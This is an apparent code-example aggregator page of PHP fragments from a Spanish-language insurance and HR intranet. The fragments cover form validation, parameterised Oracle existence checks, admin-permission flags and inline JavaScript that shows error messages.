			}

			// Validación 12..
			if (!$this->validatePeriodo()) {
				$errores.= "<error><codigo>12</codigo>";
				$errores.= "<mensaje>El período es inválido, el formato debe ser AAAA/MM.</mensaje></error>";
			}

			$this->SPValidation($advertencias, $errores);
		}
		catch (Exception $e) {
//			$errores.= "<error>".$e->getMessage()."</error>";
			$errores.= "<error><fecha>".date("d/m/Y")."</fecha><hora>".date("H:i:s")."</hora><mensaje>Ocurrió un error inesperado en la función validarSolicitud.</mensaje></error>";
		}

		if (($advertencias == "") and ($errores == ""))
			return "";
		else {
			$xml = '<?xml version="1.0" encoding="utf-8"?><solicitudCotizacion>';
			if ($advertencias != "")
				$xml.= "<advertencias>".$advertencias."</advertencias>";
			if ($errores != "")
				$xml.= "<errores>".$errores."</errores>";
			$xml.= "</solicitudCotizacion>";
			return new soapval("return", "xsd:string", $xml);
		}
	}
function validar() {
	$errores = false;

	echo "<script type='text/javascript'>";
	echo "with (window.parent.document) {";
	echo "var errores = '';";

	if ($_POST["tipoEstablecimiento"] == -1) {
		echo "errores+= '- El campo Tipo de Establecimiento es obligatorio.<br />';";
		$errores = true;
	}

	if ($_POST["nombre"] == "") {
		echo "errores+= '- El campo Nombre es obligatorio.<br />';";
		$errores = true;
	}

	$params = array(":codigo" => $_POST["actividad"]);
	$sql =
		"SELECT 1
			 FROM cac_actividad
			WHERE ac_codigo = :codigo
				AND ac_fechabaja IS NULL";
	if (!ExisteSql($sql, $params)) {
		echo "errores+= '- La Actividad es inválida.<br />';";
		$errores = true;
	}

	if (($_POST["fechaInicioEstablecimiento"] != "") and (!isFechaValida($_POST["fechaInicioEstablecimiento"]))) {
		echo "errores+= '- La Fecha de Inicio del Establecimiento es inválida.<br />';";
		$errores = true;
	}

	if ($_POST["cantidadEmpleados"] == "") {
			echo "errores+= '- El campo Cantidad de Empleados es obligatorio.<br />';";
			$errores = true;
	}

	if ($_POST["cantidadEmpleados"] != "") {
		if (!validarEntero($_POST["cantidadEmpleados"])) {
			echo "errores+= '- El campo Cantidad de Empleados debe ser mayor o igual a 0.<br />';";
			$errores = true;
		}
	}

	if ($_POST["masaSalarial"] != "") {
		if (!validarNumero($_POST["masaSalarial"])) {
			echo "errores+= '- El campo Masa Salarial es inválido.<br />';";
			$errores = true;
		}
	}

	if ($_POST["superficie"] != "") {
		if (!validarNumero($_POST["superficie"])) {
			echo "errores+= '- El campo Superficie es inválido.<br />';";
			$errores = true;
		}

		if (intval($_POST["superficie"]) < 0) {
			echo "errores+= '- La Superficie debe ser mayor o igual a 0.<br />';";
			$errores = true;
		}

		if (intval($_POST["superficie"]) > 999999) {
			echo "errores+= '- La Superficie debe ser inferior a 1.000.000.<br />';";
			$errores = true;
		}
	}

	if (($_POST["tipoEstablecimiento"] == "O") and ($_POST["fechaFinObra"] == "")) {
		echo "errores+= '- El campo Fecha de Finalización de la Obra es obligatorio.<br />';";
		$errores = true;
	}

	if ($_POST["fechaFinObra"] != "") {
		if (!isFechaValida($_POST["fechaFinObra"])) {
			echo "errores+= '- La Fecha de Finalización de la Obra es inválida.<br />';";
			$errores = true;
		}

		if (dateDiff(date("d/m/Y"), $_POST["fechaFinObra"]) < 0) {
			echo "errores+= '- La Fecha de Finalización de la Obra no puede ser anterior al día de hoy.<br />';";
			$errores = true;
		}
	}

	if ($_POST["codigoArea"] != "")
		if (!validarEntero($_POST["codigoArea"])) {
			echo "errores+= '- El campo Teléfono Laboral debe ser numérico.<br />';";
			$errores = true;
		}

	if ($_POST["telefono"] != "")
		if (!validarEntero($_POST["telefono"])) {
			echo "errores+= '- El campo Teléfono Laboral debe ser numérico.<br />';";
			$errores = true;
		}

	if ($_POST["interno"] != "")
		if (!validarEntero($_POST["interno"])) {
			echo "errores+= '- El campo Interno debe ser numérico.<br />';";
			$errores = true;
		}

	if ($_POST["codigoAreaFax"] != "")
		if (!validarEntero($_POST["codigoAreaFax"])) {
			echo "errores+= '- El campo Fax debe ser numérico.<br />';";
			$errores = true;
		}

	if ($_POST["fax"] != "")
		if (!validarEntero($_POST["fax"])) {
			echo "errores+= '- El campo Fax debe ser numérico.<br />';";
			$errores = true;
		}

	if ($_POST["calle"] == "") {
		echo "errores+= '- Debe cargar el domicilio.<br />';";
		$errores = true;
	}

	$params = array(":idsolicitud" => $_POST["idSolicitud"],
									":calle" => $_POST["calle"],
									":numero" => $_POST["numero"],
									":piso" => $_POST["piso"],
									":departamento" => $_POST["departamento"]);
	$sql =
		"SELECT 1
			 FROM ase_solicitudestablecimiento
			WHERE se_idsolicitud = :idsolicitud
				AND UPPER(se_calle) = UPPER(:calle)
				AND UPPER(se_numero) = UPPER(:numero)
				AND UPPER(NVL(se_piso, ' ')) = UPPER(:piso)
				AND UPPER(NVL(se_departamento, ' ')) = UPPER(:departamento)";
	if ($_POST["id"] > 0) {
		$params[":id"] = $_POST["id"];
		$sql.= " AND se_id <> :id";
	}
	if (ExisteSql($sql, $params)) {
		echo "errores+= '- Ya existe un establecimiento con ese Domicilio.<br />';";
		$errores = true;
	}


	if ($errores) {
		echo "getElementById('errores').innerHTML = errores;";
		echo "getElementById('divErrores').style.display = 'inline';";
		echo "getElementById('foco').style.display = 'block';";
		echo "getElementById('foco').focus();";
		echo "getElementById('foco').style.display = 'none';";
	}
	else {
		echo "getElementById('divErrores').style.display = 'none';";
	}

	echo "}";
	echo "</script>";

	return !$errores;
}
예제 #21
0
SetDateFormatOracle("DD/MM/YYYY");

$usuario = GetWindowsLoginName(true);

$sql = "SELECT TO_CHAR(SYSDATE, 'YYYYMM') FROM DUAL";
$sql = "SELECT tb_codigo FROM art.ctb_tablas WHERE tb_clave = 'C_INT'";
$periodo = ValorSql($sql);

$params = array(":anio" => $periodo, ":usuario" => $usuario);
$sql =
	"SELECT 1
		 FROM web.weu_encuesta_usuario
		WHERE eu_anio = :anio
			AND eu_fechabaja IS NULL
			AND eu_usuario = :usuario";
$usuarioHabilitado = ExisteSql($sql, $params);

if (!$usuarioHabilitado) {
?>
	<script>
		with (window.parent.document) {
			getElementById('divEncuesta').innerHTML = '<h1 style="color:#f00; margin-top:80px;">ACCESO DENEGADO</h1><h3>Usted no tiene encuestas para completar.</h3>';
			getElementById('divPaso1').style.display = 'none';
			getElementById('divPaso2').style.display = 'block';
		}
	</script>
<?
	return false;
}

예제 #22
0
$sb = false;
if (isset($_REQUEST["sb"]))
	if ($_REQUEST["sb"] == "T")
		$sb = true;


$habilitarEmpresa = "";

$params = array(":id" => $_SESSION["idUsuario"]);
$sql =
	"SELECT 1
		 FROM rrhh.dpl_login
		WHERE pl_id = :id
			AND pl_mail IN ('*****@*****.**')";
if (!ExisteSql($sql, $params))
	$habilitarEmpresa = "DISABLED";
?>
<html>
	<head>
		<link rel="stylesheet" href="/js/popup/dhtmlwindow.css" type="text/css" />
		<link rel="stylesheet" href="/modules/evaluacion_puesto/abm_descripcion_de_puesto/css/style.css" type="text/css" />
		<script language="JavaScript" src="/js/functions.js"></script>
		<script language="JavaScript" src="/js/grid.js"></script>
		<script language="JavaScript" src="/js/validations.js"></script>
		<script src="/js/popup/dhtmlwindow.js" type="text/javascript"></script>
		<script language="JavaScript" src="/modules/evaluacion_puesto/abm_descripcion_de_puesto/js/usuarios.js"></script>
		<script type="text/javascript">
			divWin = null;

			function showAlta(item) {
예제 #23
0
				AND dpl1.pl_id = :id";
	$stmt = DBExecSql($conn, $sql, $params);
	$row = DBGetQuery($stmt);
	$administrador = ($row["PL_ADMINISTRADOR"] == "T")?"CHECKED":"";
	$referente = ($row["PL_REFERENTE"] == "S")?"CHECKED":"";
}

$empresa = $_SESSION["idEmpresa"];
$habilitarEmpresa = "";
$params = array(":id" => $_SESSION["idUsuario"]);
$sql =
	"SELECT 1
		 FROM rrhh.dpl_login
		WHERE pl_id = :id
			AND pl_mail IN ('*****@*****.**')";
$esSuperUsuario = ExisteSql($sql, $params);
if (($esSuperUsuario) and (isset($row["PL_EMPRESA"])))
	$empresa = $row["PL_EMPRESA"];
if (!$esSuperUsuario)
	$habilitarEmpresa = "DISABLED";
?>
<html>
	<head>
		<link rel="stylesheet" href="/js/popup/dhtmlwindow.css" type="text/css" />
		<script language="JavaScript" src="/js/functions.js"></script>
		<script language="JavaScript" src="/js/validations.js"></script>
		<script type="text/javascript" src="/js/popup/dhtmlwindow.js"></script>
		<script language="JavaScript" src="/modules/evaluacion_puesto/abm_descripcion_de_puesto/js/usuarios.js"></script>
		<!-- INICIO CALENDARIO.. -->
		<style type="text/css">@import url(/js/Calendario/calendar-system.css);</style>
		<script type="text/javascript" src="/js/Calendario/calendar.js"></script>
예제 #24
0
function saveRespuesta($idEncuesta, $idPregunta, $idOpcion, $observaciones)
{
    // Inserta o actualiza la respuesta según corresponda..
    $params = array(":idpregunta" => $idPregunta, ":idopcion" => $idOpcion, ":usuario" => GetUserID());
    $sql = "SELECT 1\n\t\t\t FROM rrhh.rrp_respuestaspreguntas\n\t\t\tWHERE rp_idpregunta = :idpregunta\n\t\t\t\tAND rp_idopcion = :idopcion\n\t\t\t\tAND rp_usuario = :usuario";
    if (!ExisteSql($sql, $params)) {
        $error = insertRespuesta($idEncuesta, $idPregunta, $idOpcion, $observaciones);
    } else {
        $error = updateRespuesta($idEncuesta, $idPregunta, $idOpcion, $observaciones);
    }
}
예제 #25
0
	$refrigerio = "F";
	if (isset($_POST["refrigerio"]))
		$refrigerio = "T";

	$viaticos = "F";
	if (isset($_POST["viaticos"]))
		$viaticos = "T";

	$params = array(":contrato" => $_SESSION["contrato"], ":periodo" => $_POST["periodoProcesado"]);
	$sql = 
		"SELECT 1
			 FROM emi.icr_conceptoremunerativo
			WHERE cr_contrato = :contrato
				AND cr_periodo = :periodo";
	if (ExisteSql($sql, $params)) {
		$_POST["esAlta"] = "F";
		$_POST["esModificacion"] = "T";
	}

	if ($_POST["esAlta"] == "T") {
		$params = array(":antiguedad" => $antiguedad,
										":bonus" => $bonus,
										":contrato" => $_SESSION["contrato"],
										":otros" => $otrosConceptos,
										":periodo" => $_POST["periodoProcesado"],
										":premios" => $premios,
										":presentismo" => $presentismo,
										":refrigerio" => $refrigerio,
										":usualta" => $_SESSION["idUsuario"],
										":viaticos" => $viaticos);
예제 #26
0
							</table>
						</td>
					</tr>
				</table>
			</div>
		</form>
		<script>
<?
$params = array(":usuario" => GetUserID());
$sql =
	"SELECT 1
		 FROM rrhh.rrp_respuestaspreguntas
		WHERE rp_idencuesta = 1
			AND rp_usuario = :usuario
			AND rp_fechabaja IS NULL";
if ((ExisteSql($sql, $params)) and (!isset($_REQUEST["std"]))) {
?>
	document.getElementById('tableYaVoto').style.display = 'block';
	document.getElementById('tablePreguntas').style.display = 'none';
	document.getElementById('tableAgradecimiento').style.display = 'none';
<?
}
else {
?>
	document.getElementById('tableYaVoto').style.display = 'none';
	document.getElementById('table1').style.display = 'block';
	document.getElementById('tablePreguntas').style.display = '<?php 
echo !isset($_REQUEST["std"]) ? "block" : "none";
?>
';
	document.getElementById('tableAgradecimiento').style.display = '<?php 
예제 #27
0
function transaccionConErrores($seqTrans) {
	global $conn;

	$params = array(":transaccion" => $seqTrans);
	$sql =
		"SELECT 1
			 FROM tmp.teop_errororganismopublico
			WHERE te_transaccion = :transaccion";

	return ExisteSql($sql, $params, 0);
}
예제 #28
0
function IsPublicPage($paginaId) {
	$params = array(":id" => $paginaId);
	$sql =
		"SELECT 1
			 FROM web.wpi_paginasintranet
			WHERE pi_id = :id
				AND pi_privada = 'F'";

	return ExisteSql($sql, $params);
}
예제 #29
0
		WHERE em_cuit = :cuit
 ORDER BY 1 DESC";
$razonSocial = ValorSql($sql, "", $params);


// Validación 6.. Tiene que ir debajo de la llamada a import_from_srt.php..
$params = array(":cuit" => $_REQUEST["cuit"]);
$sql =
	"SELECT 1
		 FROM srt.sem_empresas e JOIN srt.shv_historialvigencias v ON v.hv_id = art.cotizacion.get_idultimavigencia(em_cuit)
		WHERE CASE
					WHEN v.hv_idoperaciondesde = 10888 THEN ADD_MONTHS(v.hv_vigenciadesde, 10) + 11
					ELSE ADD_MONTHS(v.hv_vigenciadesde, 6)
					END <= SYSDATE
			AND e.em_cuit = :cuit";
if (($row["SS_STATUS"] != -1) and ($row["SS_STATUS"] != 1) and (!ExisteSql($sql, $params, 0))) {
	$msg = "[6] Esta C.U.I.T. no puede ser cotizada por la vigencia en la actual ART,\\r\\r";
	$msg.= "por favor comuníquese con su Ejecutivo de Provincia ART.";
	msgBox($msg);
}
?>
<script type="text/javascript">
	with (window.parent.document) {
		// Asigno el nombre que devuelve la SRT..
		getElementById('razonSocial').value = '<?php 
echo $razonSocial;
?>
';

		try {
			if ((getElementById('statusSrtTmp').value == 2) && (getElementById('artTmp').value == 51))
예제 #30
0
if (DBGetRecordCount($stmt) == 0) {
?>
	<script>
		parent.divWin.close();
		alert('Este artículo aún no tiene comentarios.');
	</script>
<?
}

$params = array(":usuario" => GetWindowsLoginName());
$sql =
	"SELECT 1
		 FROM use_usuarios
		WHERE se_usuario IN ('ALAPACO', 'AANGIOLILLO', 'JSANTORO', 'NPEREIRA')
			AND UPPER(se_usuario) = UPPER(:usuario)";
$esAdmin = ExisteSql($sql, $params);
?>
<html>
	<head>
		<script>
<?
if ($esAdmin) {
?>
			function eliminarComentario(id) {
				if (confirm('¿ Realmente desea eliminar este comentario ?'))
					document.getElementById('iframeComentarios').src = '/functions/save_comment.php?baja=s&id=' + id;
			}
<?
}
?>
		</script>